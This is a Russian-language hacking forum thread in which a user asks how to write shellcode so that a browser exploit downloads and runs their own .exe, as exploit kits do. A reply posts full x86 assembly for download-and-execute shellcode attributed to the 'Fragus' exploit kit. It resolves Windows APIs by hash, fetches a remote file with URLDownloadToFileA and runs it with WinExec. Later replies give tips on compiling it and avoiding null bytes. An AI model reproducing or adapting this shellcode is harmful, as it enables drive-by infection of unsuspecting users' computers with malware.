Не могу понять как его получить. Допустим есть эксплоит под IE6, которой содержит шелл код, мне нужно заменить его своим.
В гугле только поверхностная информация по данной теме
ясное дело, задачу ты тоже формулируешь поверхностно. Сформулируй правильно ТЗ, эксплойт покажи
Меня интересует общий принцип написание shell-кода для эксплоита. Тоесть есть же связки, в которых после успешного пробива эксплоитом браузера, грузится .exe. Мне интересно, как пишется шелл код для загрузки этого .exe
К примеру вот эксплоит
Internet Explorer 8 CSS Parser Exploit
exploit-db.com/exploits/15746/ (http://www.exploit-db.com/exploits/15746/)
Вот к примеру шеллкод со связки "Fragus", изучай.
Code:
:
xor eax,eax
mov eax,dword ptr fs:[eax+030h];получает базу кернела
js @tb3_00401014
mov eax,dword ptr ds:[eax+0ch]
mov esi,dword ptr ds:[eax+01ch]
lods dword ptr ds:[esi]
mov ebx,dword ptr ds:[eax+8]
jmp @tb3_0040101D
@tb3_00401014:
mov eax,dword ptr ds:[eax+034h]
lea eax,dword ptr ds:[eax+07ch]
mov ebx,dword ptr ds:[eax+03ch]
@tb3_0040101d:
push 044h
pop edx
shl edx,1
sub esp,edx
mov ebp,esp
jmp @tb3_00401077
@tb3_00401028:;кодес получения функций по их хешам
pop edx
push edx
sub edx,056h
mov dword ptr ss:[ebp+4],edx
push esi
push edi
mov esi,dword ptr ds:[ebx+03ch]
mov esi,dword ptr ds:[ebx+esi+078h]
add esi,ebx
push esi
mov esi,dword ptr ds:[esi+020h]
add esi,ebx
xor ecx,ecx
dec ecx
@tb3_00401044:
push eax
inc ecx
lods dword ptr ds:[esi]
xor edi,edi
@tb3_00401049:
movsx edx,byte ptr ss:[ebx+eax]
cmp dl,dh
je @tb3_0040105A
ror edi,0dh
add edi,edx
inc eax
jmp @tb3_00401049
@tb3_0040105a:
pop eax
cmp edi,eax
jnz @tb3_00401044
pop esi
mov eax,dword ptr ds:[esi+024h]
add eax,ebx
mov cx,word ptr ds:[eax+ecx*2]
mov edx,dword ptr ds:[esi+01ch]
add edx,ebx
mov eax,dword ptr ds:[edx+ecx*4]
add eax,ebx
pop edi
pop esi
push eax
ret
@tb3_00401077:
lea edi,dword ptr ss:[ebp+8]
push edi
push edx
mov eax,05b8aca33h; получаем и вызываем функцию GetTempPathA
call @tb3_00401028
xor al,al
mov esi,edi
repne scas byte ptr es:[edi]
dec edi
mov eax,078652e65h
stos dword ptr es:[edi]
cbw
stos word ptr es:[edi];добавляем к пути темповой папки имя файла
mov al,06ch
mov ah,al
cwde
push eax
push 0642e6e6fh
push 06d6c7275h
push esp
mov eax,0ec0e4e8eh
call dword ptr ss:[ebp+4];получаем и вызываем функцию LoadLibraryA,"urlmon.dll"
xchg eax,ebx
push eax
xor eax,eax
push eax
push eax
push esi
mov edx,dword ptr ss:[ebp+4]
add edx,07fh
add edx,031h
push edx
push eax
mov eax,0702f1a36h
call dword ptr ss:[ebp+4];далее функция URLDownloadToFileA
pop ebx
xor edi,edi
push edi
push esi
mov eax,0e8afe98h
call dword ptr ss:[ebp+4]; WinExec
push edi
mov eax,060e0ceefh
call dword ptr ss:[ebp+4];ExitThread
Serafim привёл пример исходника шелкода. Далее, исходник компилируется в объектный файл под целевую систему. Получается готовый шелкод, который прописывается нагрузкой к эксплойту. Однако есть ряд ньюансов - например, шелкод не должен содержать нуль-байта, ибо это конец строки. Есть масса бесплатных программ для микса бинарного кода без потери функционала. На exploits-db есть масса готовых шелкодов.
Да, забись ты ему чистый ASM дал, разберется он да.
Lestatkiy
09.01.2011, 11:24
В примере он только выполняет калькулятор,
EXITFUNC=process, CMD=calc.exe
Посмотри на примеры, там можно найти такой какой тебе нужен, или похожий и подстроится под него.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot